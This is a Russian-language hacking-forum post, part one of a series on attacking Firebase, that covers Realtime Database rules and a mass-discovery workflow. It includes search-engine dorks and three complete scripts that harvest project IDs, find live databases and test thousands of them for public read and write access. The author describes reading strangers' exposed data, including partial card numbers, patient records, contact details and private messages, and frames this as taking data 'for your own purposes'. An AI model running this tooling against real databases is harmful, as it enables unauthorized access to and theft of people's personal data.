Не удалось прогрузить медиа
Вступление
Всего построено более 1.5млн приложений с участием firebase сервисов. Из них только 200 000 Android приложений. Несмотря на такие большие цифры, на мое удивление, пентесту firebase сервисов уделено довольно мало внимания, особенно на русскоязычном пространстве. Отличились наверное только BoOM с Savik’ом написав скрипт (https://t.me/webpwn/369) и пару андерграунд пентестеров, написав скучные статьи на этот топик. И тут я понял, что мне стоит это исправить
Приветствую, с вами YmbMember. Эту серию статей (3 части) я бы хотел посвятить пентесту firebase сервисов. Мы разберемся с этим от и до, посмотрим что интересного можно с них достать и рассмотрим методологии поиска.
В этой вступительной статье мы разберемся с тем, что же такое ваш Realtime database, рассмотрим массовый поиском ФБ таргетов (1 из методов лично от меня), представлю вам пару своих простеньких скриптов и посмотрим, что же интересного мне удалось найти. Начнем
Что такое Firebase
Если вы не знакомы с этим – вы можете подумать, что речь идёт о какой-то субд (по крайней мере я так почему-то всегда думал, ХД). Но это не совсем так
Не удалось прогрузить медиа
Firebase – набор множества сервисов от google для разработки web и мобильных приложений. Эти сервисы включают в себя все этапы разработки. От архитектуры, бека до выпуска приложений, их поддержки и улучшения.
Все эти сервисы можно разбить на 3 группы: Build, Release & Monitor, Engage.
Не удалось прогрузить медиа
Но в рамках нашего топика, нас интересует только несколько из них, и они находятся во вкладке Build. А конкретно: Realtime Database, Cloud Firestore, Cloud Functions, Cloud Storage
Разбор Realtime Database
Realtime Database – облачная NoSQL база данных, какая сохраняет все данные в виде большого json дерева (т.е все данные в куче в 1 json файле)
Не удалось прогрузить медиа
Так же у нее есть ключевая особенность – она может в режиме реального времени синхронизировать изменения между всеми подключенными клиентами т.к она работает поверх вебсокетов
Ее рекомендуют использовать только для небольших приложений. Но я очень часто наблюдаю, что RealTime database используется большими сайтами для хранения огромного кол-ва ценной информации. Но об этом позже
Как работает Realtime Database?
Для того чтобы что-то ломать, нужно понять как это работает и чем его едят. Предлагаю вам создать свою Realtime Database, сделать это можно за минуту
Переходим по https://console.firebase.google.com/ и создаем новый проект
Не удалось прогрузить медиа
1. Создаем новый проект, называем его и принимаем все условия
2. Нажимаем на кнопку “Build” и выбираем Realtime Database
3. Выбираем локацию расположения сервера
4. Security Rules
Вот тут и начинаются первые проблемы у разработчиков связанные с мисконфигурациями
Не удалось прогрузить медиа
Firebase нам предлагает 2 режима: Locked и Test.
Locked mode – все безопасно, права на чтения и запись 3-им лицам запрещены
Code:
{
"rules": {
".read": false,
".write": false
}
}
Test mode – права на запись и чтение есть у всех, но только на 30 дней.
Code:
{
"rules": {
".read": "now < 1767218400000", // 2026-01-01
".write": "now < 1767218400000" // 2026-01-01
}
}
После 30-ти дней конфигурация автоматически меняется на такую как и у locked mode.
Если вы захотите поменять эти правила – это можно сделать во вкладке Rules. Там находятся правила безопасности. Там мы можем изменять права на запись/чтение, просто указывая true/false
Не удалось прогрузить медиа
Взаимодействие с realtime базами происходит через URL адрес базы
https://айди-проекта.firebaseio.com/
Не удалось прогрузить медиа
С ней можно взаимодействовать либо через https://console.firebase.google.com/ либо если права на запись/чтение доступны – через веб запросы
Для того чтобы увидеть все json дерево базы, достаточно просто добавить /.json в конце ссылки
Не удалось прогрузить медиа
Для того чтобы попробовать записать что-то – достаточно отправить PUT запрос с json телом
Не удалось прогрузить медиа
Ну а для удаления используем метод DELETE и в пути указываем ключ
Не удалось прогрузить медиа
Поиск Firebase конфигов на single таргетах
Эта часть для пентестеров, какие берут один таргет и терпеливо хакают его, а не на тех кто ломает на кол-во. Но ко второй группе хацкеров мы еще вернемся))). Наверное вы щас подумали “Ну мы будем искать конфиги, какие разработчики случайно оставили”, но немного нет. Firebase конфиг – не секрет. Это абсолютно нормально, уязвимости тут нету. Их оставляют открытыми, потому что браузер должен сам подключится к firebase. Конфиги хранятся либо в исходном коде страницы, либо в джс файлах фронтенда. Лежат они зачастую в директориях со всеми js файлами и имеют название firebase-config.js или firebase.js
Не удалось прогрузить медиа
- apiKey — идентификатор проекта для клиентских запросов Firebase.
- authDomain — домен, используемый Firebase Auth для входа и редиректов.
- projectId — уникальный ID проекта Firebase/GCP.
- storageBucket — адрес хранилища файлов Firebase Storage.
- messagingSenderId — ID отправителя для пуш-уведомлений FCM.
- appId — идентификатор конкретного Firebase-приложения.
- measurementId — ID для Google Analytics (если используется).
- databaseURL — адрес Firebase Realtime Database.
Не удалось прогрузить медиа
Поиск Realtime Database таргетов. Массовый поиск
Разведка по поддоменамУмные ребята уже прохавали – если URL базы - это поддомен на firebaseio.com или firebasedatabase.app, то почему просто не сделать рекон по поддоменам? А знаете. Вы правы. Но ни в коем случае не методом перебора, вы огорчитесь от 1 результата в год. На помощь нам приходят поисковики по типу Securitytrails (т.е те, какие ищут по DNS, IP).
Я ранее писал в статье (https://forum.LIMB.cc/threads/1020/), что чтобы перебрать поддомены качественно – надо SubDomz. Но дабы не тратить время, мы можем ограничится Subfinder’ом напичканным всеми подряд API ключами. На выходе получим тот же самый результат
Поэтому проведем поиск по firebasedatabase.app и firebaseio.com
Не удалось прогрузить медиа
На бесплатных апи ключах мы смогли достать 23к ссылок. Давайте из них извлечем projectId, это нам понадобится для пентеста других сервисов в будущем
Code:
#!/usr/bin/env bash
in="$1"
out="$2"
[ -z "$in" ] && echo "usage: $0 inputfile outputfile" && exit 1
: > "$out"
while IFS= read -r line || [ -n "$line" ]; do
host=${line#*://}
host=${host##*@}
host=${host%%[:/]*}
host=${host,,}
IFS='.' read -ra a <<< "$host"
n=${#a[@]}
if [ "$n" -le 2 ]; then
continue
fi
sub="${a[0]}"
for ((i=1; i<n-2; i++)); do
sub+=".${a[i]}"
done
echo "$sub" >> "$out"
done < "$in"
Не удалось прогрузить медиа
Достаем торчащие конфиги со страниц
Ранее я писал, что конфиги часто лежат в сурс коде. Но как же нам найти страницы, где в сурсе лежит конфиг ? Ответ – fofa, zoomeye, shodan. Доркать поисковые системы для нас не подходит – слишком много мусора, мало полезных результатов
Fofa:
body="firebaseio.com"
body="firebasedatabase.app"
Zoomeye:
body:"firebaseio.com"
body:"firebasedatabase.app"
Shodan:
http.html:"firebaseio.com"
http.html:"firebasedatabase.app”
Хотел бы подметить, что шодан справляется хуже чем Fofa и Zoomeye, поэтому не советую его использовать если вы хотите получить хороший результат. Парсим ссылки по этим поисковым запросам
После того как вы спарсили ссылки, надо достать значение projectId. Так как идея моя, логично было бы реализовать под это свой простенький инструмент под это дело
Code:
from __future__ import annotations
import argparse
import concurrent.futures
import re
import sys
from urllib.parse import urlparse
from threading import Lock
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
import requests
except Exception:
sys.exit("Install requests: pip install requests")
try:
import colorama
colorama.init(autoreset=True)
RED = colorama.Fore.RED + colorama.Style.BRIGHT
GREEN = colorama.Fore.GREEN + colorama.Style.BRIGHT
YELLOW = colorama.Fore.YELLOW + colorama.Style.BRIGHT
CYAN = colorama.Fore.CYAN + colorama.Style.BRIGHT
RESET = colorama.Style.RESET_ALL
except Exception:
sys.exit("Install colorama: pip install colorama")
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"}
SUB_RX = re.compile(r'([A-Za-z0-9\-]{2,})\.(?:firebasedatabase\.app|firebaseapp\.com|appspot\.com|firebaseio\.com)', re.I)
FIELD_RX = {
k: re.compile(rf'(?:["\']{re.escape(k)}["\']\s*[:=]\s*)(["\'`])([^"\']+)\1', re.I)
for k in ("projectId", "authDomain", "databaseURL", "storageBucket")
}
FALLBACK_RX = re.compile(r'[\"\'`](projectId|authDomain|databaseURL|storageBucket)[\"\'`]\s*[:=]?\s*([\"\'`])([^\"\'\n]+)\2', re.I)
def norm_url(u: str):
u = (u or "").strip()
if not u:
return None
p = urlparse(u)
return u if p.scheme in ("http", "https") or p.scheme == "" else u
def fetch(url: str, timeout: int):
try:
r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=True)
return r.status_code, r.text
except requests.exceptions.SSLError:
try:
r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=False)
return r.status_code, r.text
except Exception as e:
return None, f"ERR:{e}"
except Exception as e:
return None, f"ERR:{e}"
def try_schemes(orig: str, timeout: int):
p = urlparse(orig)
if p.scheme in ("http", "https"):
cand = [orig] + ([("https://" + p.netloc + p.path + (("?" + p.query) if p.query else ""))] if p.scheme == "http" else [])
else:
cand = ["https://" + orig, "http://" + orig]
last = None
for u in cand:
s, t = fetch(u, timeout)
if s is None:
last = t
continue
return u, s, t
return None, None, last or f"fail:{orig}"
def parse(text: str):
found = {}
low = (text or "").lower()
domain_hit = any(d in low for d in (".firebasedatabase.app", "firebaseapp.com", "firebaseio.com", "appspot.com"))
for k, rx in FIELD_RX.items():
m = rx.search(text)
if m:
found[k] = m.group(2).strip()
if len(found) < 1:
for m in FALLBACK_RX.finditer(text):
if m.group(1) not in found:
found[m.group(1)] = m.group(3).strip()
sub = SUB_RX.findall(text)
if sub:
found['sub'] = sub[0]
return found, domain_hit
def pick_project_id(found: dict):
pid = (found.get('projectId') or "").strip()
if pid and pid != "-":
return pid
pid = (found.get('sub') or "").strip()
if pid and pid != "-":
return pid
for k in ('authDomain', 'databaseURL', 'storageBucket'):
v = (found.get(k) or "").strip()
if not v:
continue
try:
p = urlparse(v if v.startswith('http') else 'https://' + v)
host = (p.netloc or p.path).split(':')[0]
except Exception:
host = v
m = re.match(r'^([A-Za-z0-9\-]+)', host)
if m:
return m.group(1)
return None
def inspect(u: str, timeout: int = 10):
n = norm_url(u)
if not n:
return {'url': u, 'projectId': None, 'ok': False}
tried, status, body = try_schemes(n, timeout)
if status is None:
return {'url': u, 'projectId': None, 'ok': False}
found, hit = parse(body)
pid = pick_project_id(found) or None
return {'url': tried or n, 'projectId': pid, 'ok': bool(pid)}
def save_ids(path: str, rows: list):
ids = sorted({r['projectId'] for r in rows if r.get('projectId')})
try:
with open(path, 'w', encoding='utf-8') as f:
f.write('\n'.join(ids))
print(f"{GREEN}Saved {len(ids)} ids to:{RESET} {path}")
except Exception as e:
print(f"{RED}Save err:{RESET} {e}")
def run(path: str, workers: int, timeout: int, opid_path: str | None = None):
try:
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
lines = [l.strip() for l in f if l.strip()]
except Exception as e:
sys.exit(f"Read err:{e}")
out = []
tot = found = 0
written_ids = set()
lock = Lock()
opf = None
if opid_path:
try:
with open(opid_path, 'w', encoding='utf-8'):
pass
opf = open(opid_path, 'a', encoding='utf-8')
except Exception as e:
print(f"{RED}Can't open output file for writing:{RESET} {e}")
opf = None
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futs = {ex.submit(inspect, l, timeout): l for l in lines}
for fut in concurrent.futures.as_completed(futs):
url = futs[fut]; tot += 1
try:
r = fut.result()
except Exception:
r = {'url': url, 'projectId': None, 'ok': False}
out.append(r)
pid = r.get('projectId')
if pid:
found += 1
print(f"{GREEN}[PROJECT]{RESET} {r['projectId']} - {r['url']}")
if opf:
with lock:
if pid not in written_ids:
try:
opf.write(pid + '\n')
opf.flush()
written_ids.add(pid)
except Exception as e:
print(f"{RED}Write err:{RESET} {e}")
else:
print(f"{YELLOW}[NO-PROJECT]{RESET} {r['url']}")
if opf:
try:
opf.close()
except Exception:
pass
print(f"{GREEN}Saved {len(written_ids)} ids to:{RESET} {opid_path}")
return out, {'total': tot, 'found': found, 'not_found': tot - found}
def main():
p = argparse.ArgumentParser()
p.add_argument('file')
p.add_argument('-opid', '--projectids', help='save project ids to file')
p.add_argument('--workers', type=int, default=10)
p.add_argument('--timeout', type=int, default=10)
args = p.parse_args()
rows, stats = run(args.file, args.workers, args.timeout, args.projectids)
if not args.projectids:
print(f"{YELLOW}No output file specified. Use -opid <file>{RESET}")
print(f"{CYAN}Processed:{RESET} {stats['total']} {GREEN}found:{stats['found']}{RESET} {YELLOW}not:{stats['not_found']}{RESET}")
if __name__ == '__main__':
main()
python script.py shodan_parsed -opid projectids.txt
Не удалось прогрузить медиа
На выходе получаем файл с множеством projectId
Не удалось прогрузить медиа
Теперь нам надо достать список доступных Realtime баз по этим projectId. Я сделал вот такой скрипт, какой сделает это быстро и правильно
Code:
#!/usr/bin/env python3
import argparse
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import colorama
colorama.init()
from colorama import Fore, Style
print(f"""{Fore.CYAN}
***************
***************** Firebase Service Checker
**** ******* Made by YmbMember
**** ************** For LIMB.cc forum
**** **************
**** **** ****
**** ********* ****
**** ******** *****
**** ******* *****
**** *************
*****************
***************
{Style.RESET_ALL}""")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--input", dest="input_file_path", required=True)
parser.add_argument("-o", "--output", dest="output_file_path", required=True)
parser.add_argument("-w", "--workers", dest="worker_count", type=int, default=10)
parser.add_argument("-t", "--timeout", dest="timeout_seconds", type=float, default=8.0)
parser.add_argument("-d", "--domains", dest="domains", default="firebaseio.com,firebasedatabase.app")
args = parser.parse_args()
input_file_path = args.input_file_path
output_file_path = args.output_file_path
worker_count = max(1, args.worker_count)
timeout_seconds = args.timeout_seconds
domain_list = [d.strip() for d in args.domains.split(",") if d.strip()]
try:
with open(input_file_path, "r", encoding="utf-8") as fh:
project_ids = [line.strip().lstrip("\ufeff") for line in fh if line.strip()]
except FileNotFoundError:
print(f"{Fore.RED}File not found: {input_file_path}{Style.RESET_ALL}", file=sys.stderr)
sys.exit(1)
file_lock = threading.Lock()
print_lock = threading.Lock()
def check_project(project_id):
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"})
found_any = False
for domain in domain_list:
url = f"https://{project_id}.{domain}"
try:
resp = session.get(url, allow_redirects=False, timeout=timeout_seconds)
except requests.RequestException:
continue
if 300 <= resp.status_code < 400:
with file_lock:
try:
with open(output_file_path, "a", encoding="utf-8") as outfh:
outfh.write(url + "\n")
outfh.flush()
except OSError:
with print_lock:
print(f"{Fore.RED}Error: {output_file_path}{Style.RESET_ALL}", file=sys.stderr)
return
with print_lock:
print(f"{Fore.GREEN}{project_id} → {url}{Style.RESET_ALL}")
found_any = True
break
if not found_any:
with print_lock:
print(f"{Fore.RED}{project_id} → not found{Style.RESET_ALL}")
with ThreadPoolExecutor(max_workers=worker_count) as executor:
futures = [executor.submit(check_project, pid) for pid in project_ids]
for _ in as_completed(futures):
pass
if __name__ == "__main__":
main()
По мере следующих частей, я буду добавлять в него проверку наличие сервисов. Но пока он только умеет смотреть по айди на наличие Realtime. Давайте запустим его и получим список Realtime баз, какие мы потом отчекаем на наличие мисконфигураций
python checker.py -i projectids.txt -o databaseurls
Не удалось прогрузить медиа
Поиск мисконфигураций
Мы собрали очень много разных ссылок, хорошо. Но теперь вопрос “Что нам, мисконфигурации в ручную смотреть?”. Не-а. Я об этом тоже позаботился и создал простенький, да удаленький скрипт
Code:
from __future__ import annotations
import argparse, random, string, sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from typing import Dict
import requests
import colorama
colorama.init(autoreset=True)
RED = colorama.Fore.RED + colorama.Style.BRIGHT
GREEN = colorama.Fore.GREEN + colorama.Style.BRIGHT
YELLOW = colorama.Fore.YELLOW + colorama.Style.BRIGHT
CYAN = colorama.Fore.CYAN + colorama.Style.BRIGHT
MAGENTA = colorama.Fore.MAGENTA + colorama.Style.BRIGHT
RESET = colorama.Style.RESET_ALL
DEF_TIMEOUT = 10
DEF_WORKERS = 10
print(f"""{CYAN}
***************
***************** Firebase Realtime checker
**** ******* Made by YmbMember
**** ************** For LIMB.cc forum
**** **************
**** **** ****
**** ********* ****
**** ******** *****
**** ******* *****
**** *************
*****************
***************
{RESET}""")
# Если нету протокола передачи - добавим
def norm(u: str) -> str:
u = u.strip()
if not u:
return ""
p = urlparse(u)
if not p.scheme:
u = "https://" + u
return u.rstrip("/")
# Генератор случайных строк (надо для чека прав на чтение)
def rnd(n=7) -> str:
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
def chk_read(base: str, timeout: int) -> Dict:
r = {"available": False, "reason": None, "details": {}, "content_length": None}
try:
resp = requests.get(base + "/.json", timeout=timeout, allow_redirects=True)
r["details"]["initial_code"] = resp.status_code
r["details"]["initial_text"] = resp.text
r["content_length"] = len(resp.content) if resp.content else None
except requests.Timeout:
r["reason"] = f"timeout waiting for /.json ({timeout}s)"
return r
except requests.RequestException as e:
r["reason"] = f"request error to /.json: {e}"
return r
sc = resp.status_code // 100
txt = (resp.text or "").strip()
# Плохой статус код - рандомим для точной проверки
if sc in (3, 4):
token = rnd(7)
try:
r2 = requests.get(f"{base}/{token}.json", timeout=timeout, allow_redirects=True)
r["details"]["random_code"] = r2.status_code
r["details"]["random_text"] = r2.text
except requests.Timeout:
r["reason"] = f"timeout waiting for random endpoint ({timeout}s)"
return r
except requests.RequestException as e:
r["reason"] = f"request error to random endpoint {token}: {e}"
return r
sc2 = r2.status_code // 100
if sc2 in (3, 4):
r["reason"] = f"initial {resp.status_code} and random {r2.status_code} => unreadable"
return r
if txt == "null" or r2.text.strip() == "null":
r["available"] = True
r["reason"] = 'responded "null"'
return r
r["available"] = True
r["reason"] = f"random returned {r2.status_code}"
return r
if txt == "null":
r["available"] = True
r["reason"] = '/.json = "null"'
return r
r["available"] = True
r["reason"] = f"/.json returned {resp.status_code}"
return r
# Проверка можно ли записывать
def chk_write(base: str, timeout: int) -> Dict:
r = {"available": False, "reason": None, "details": {}}
key = "pchk_" + rnd(8)
try:
resp = requests.put(f"{base}/{key}.json", json={"_pentest_check": key}, timeout=timeout)
r["details"]["put_code"] = resp.status_code
except requests.Timeout:
r["reason"] = f"timeout during PUT ({timeout}s)"
return r
except requests.RequestException as e:
r["reason"] = f"PUT error: {e}"
return r
if 200 <= resp.status_code < 300:
r["available"] = True
r["reason"] = f"PUT returned {resp.status_code}"
try:
d = requests.delete(f"{base}/{key}.json", timeout=timeout)
r["details"]["delete_code"] = d.status_code
except requests.RequestException as e:
r["details"]["delete_error"] = str(e)
return r
r["reason"] = f"PUT returned {resp.status_code}"
return r
def is_err(d: Dict) -> bool:
if not isinstance(d, dict):
return False
r = (d.get("reason") or "").lower()
if any(k in r for k in ("timeout", "request error", "put error", "exception")):
return True
codes = [v for k, v in (d.get("details") or {}).items() if k.endswith("_code")]
return codes and all(c is None for c in codes)
def colored_bool(v: bool) -> str:
return GREEN + "true" + RESET if v else RED + "false" + RESET
def colored_skip() -> str:
return YELLOW + "skipped" + RESET
def output(o: Dict, verbose: bool) -> None:
url = o["target"]
r = o["read"]
w = o["write"]
print(f"[URL] {url}")
if is_err(r):
print(f"Read - {RED}false{RESET} {YELLOW}Error. Use -v for more info{RESET}")
if verbose:
print(" Reason:", r.get("reason"))
else:
a = r.get("available", False)
print(f"Read - {colored_bool(a)}")
if a and r.get("content_length") is not None:
print(f" {MAGENTA}[+] Content Length: {r['content_length']}{RESET}")
if verbose and r.get("reason"):
print(" Reason:", r["reason"])
if w.get("skipped"):
print(f"Write - {colored_skip()} (use --write to enable)")
return
if is_err(w):
print(f"Write - {RED}false{RESET} {YELLOW}Error. Use -v for more info{RESET}")
if verbose:
print(" Reason:", w.get("reason"))
else:
print(f"Write - {colored_bool(w.get('available', False))}")
if verbose and w.get("reason"):
print(" Reason:", w["reason"])
def process(url: str, do_write: bool, timeout: int) -> Dict:
url = norm(url)
if not url:
return {"target": url, "error": "empty"}
try:
r = chk_read(url, timeout)
except Exception as e:
r = {"available": False, "reason": f"exception during read: {e}", "details": {}}
if do_write:
try:
w = chk_write(url, timeout)
except Exception as e:
w = {"available": False, "reason": f"exception during write: {e}", "details": {}}
else:
w = {"skipped": True, "reason": "write disabled"}
return {"target": url, "read": r, "write": w}
def main():
p = argparse.ArgumentParser()
g = p.add_mutually_exclusive_group(required=True)
g.add_argument("-u", "--url")
g.add_argument("-l", "--list")
p.add_argument("--write", action="store_true")
p.add_argument("-v", "--verbose", action="store_true")
p.add_argument("-w", "--workers", type=int, default=DEF_WORKERS)
p.add_argument("--timeout", type=int, default=DEF_TIMEOUT)
p.add_argument("-or", "--out-read")
p.add_argument("-ow", "--out-write")
args = p.parse_args()
if args.url:
targets = [args.url.strip()]
else:
targets = [l.strip() for l in open(args.list, encoding="utf-8") if l.strip()]
read_ok = []
write_ok = []
results = []
# Откроем файлы заранее в режиме добавления (append),
# чтобы сразу дописывать найденные URL по мере обнаружения.
out_read_f = None
out_write_f = None
written_read_set = set()
written_write_set = set()
try:
if args.out_read:
out_read_f = open(args.out_read, "a", encoding="utf-8", buffering=1) # line buffered
if args.out_write:
out_write_f = open(args.out_write, "a", encoding="utf-8", buffering=1)
except OSError as e:
print(RED + f"Error opening output files: {e}" + RESET)
# продолжаем без файлов
with ThreadPoolExecutor(max_workers=args.workers) as ex:
futs = {ex.submit(process, t, args.write, args.timeout): t for t in targets}
for fut in as_completed(futs):
t = futs[fut]
print("=" * 60)
try:
out = fut.result()
except Exception as e:
print(f"[URL] {t}\n ERROR: {e}")
continue
if out.get("error"):
print(f"[URL] {t}\n ERROR: {out['error']}")
continue
output(out, args.verbose)
# При обнаружении — сразу записываем в файл(ы), если они заданы.
if out["read"].get("available"):
read_ok.append(t)
if out_read_f and t not in written_read_set:
try:
out_read_f.write(t + "\n")
out_read_f.flush()
written_read_set.add(t)
except OSError as e:
print(YELLOW + f"Warning: cannot write to out-read file: {e}" + RESET)
if out["write"].get("available"):
write_ok.append(t)
if out_write_f and t not in written_write_set:
try:
out_write_f.write(t + "\n")
out_write_f.flush()
written_write_set.add(t)
except OSError as e:
print(YELLOW + f"Warning: cannot write to out-write file: {e}" + RESET)
results.append(out)
# Закрываем файлы, если открывали
if out_read_f:
out_read_f.close()
if out_write_f:
out_write_f.close()
# Если файлы не были заданы — можно записать итоговые списки как раньше
if not args.out_read:
if read_ok:
print(f"\nReadable URLs ({len(read_ok)}):")
for u in read_ok:
print(u)
else:
print(f"Wrote {len(written_read_set)} readable URLs to {args.out_read}")
if not args.out_write:
if write_ok:
print(f"\nWritable URLs ({len(write_ok)}):")
for u in write_ok:
print(u)
else:
print(f"Wrote {len(written_write_set)} writable URLs to {args.out_write}")
print("\n=== Statistics ===")
print("Total tested:", len(results))
print("Readable:", len(read_ok))
print("Writable:", len(write_ok))
if __name__ == "__main__":
main()
python realtimechecker.py -l databaseurls -w 20 --timeout 15 --write -or readallowed -ow writeallowed
Не удалось прогрузить медиа
На выходе получаем 2 файла:
readallowed – базы, где у нас есть права на чтение
writeallowed – базы, где у нас есть права на запись
Стоит подметить, что иногда можно встретить базы, где нету права на чтение но есть право на запись. Этот скрипт сможет это обнаружить
Смотрим результаты проделанной работы
В основном, результатами были какие-то технические данные, по типу обычного списка аватарок, служебных картинок для функционирования приложения и тому подобное
Не удалось прогрузить медиа
Ну и часто встречаються список устройств и координаты пользователей.
Некоторые файлы вообще настолько большие, что приходилось открывать через EmEditor. Вот в них уже есть что-то интересное. Например, список партнеров одной довольно популярной компании. Сомневаюсь, что они хотели бы чтобы этот список получили 3-и лица
Не удалось прогрузить медиа
На дочерней realtime базе они нам оставили большой список покупок пользователей и частичные данные кредиток
Не удалось прогрузить медиа
А вот пользователи одного приложение, какое как я понял нацелено на какое-то онлайн обучение. Тут у нас уже и емеилы и номера телефонов и фио
Не удалось прогрузить медиа
Вот с этим мамкины социальные инженеры уже могут что-то придумать, не стоит такие данные выставлять на всеобщее обозрение
А вот какая-то частная клиника. Тут у нас данные всех пациентов и данные всех врачей. Тоже довольно неприятная утечка, хотя не критично. Но в рамках баг баунти программы по CVSS Score уровень High вышел бы точно
Не удалось прогрузить медиа
А вот какое-то мобильное приложение, какое собирает все ваши уведомления. У него есть данные кто кому звонил, кто кому писал на SMS, Whatsapp, Snapchat и другие мессенджеры. Довольно неприятно. Уверен, знали бы пользователи что их данные вот так в наглую собирают – удалили приложение к чертям
Не удалось прогрузить медиа
Каюсь – немного почитал о чем люди общаются. Вот какой-то пользователь с Австралии хочет выебать какую-то даму (надесь) с утра. А куда ее родители смотрят? Номер есть, сообщите пожалуйста
Не удалось прогрузить медиа
И это я проанализировал только 40 writable баз, а получил уже столько данных. А что было бы, если бы я выделил 2 дня и посмотрел тысячу. У меня на руках были бы данные кредиток и кучу баз каких отправлять на расшифровку??
Разработчики, пожалуйста, закрывайте права на запись/чтение 3им лицам на ваших Realtime базах. Если вы думаете, что никто вашу базу не найдет – вы сильно ошибаетесь.
Заключение
Дорогие пользователи форума, в скором времени я выпущу вторую часть, где мы уже с вами рассмотрим пентест Firestore баз и я вам покажу дополнительные методы обнаружения конфигов. В этой части вы познакомились с тем что же такое Firebase, Realtime базой, массовым обнаружением конфигов и вытаскиванием информации с плохо защищенных баз в своих целях. Всех с наступающими праздниками, не болейте.
👍59
❤️13
😁14
😮14
LIMB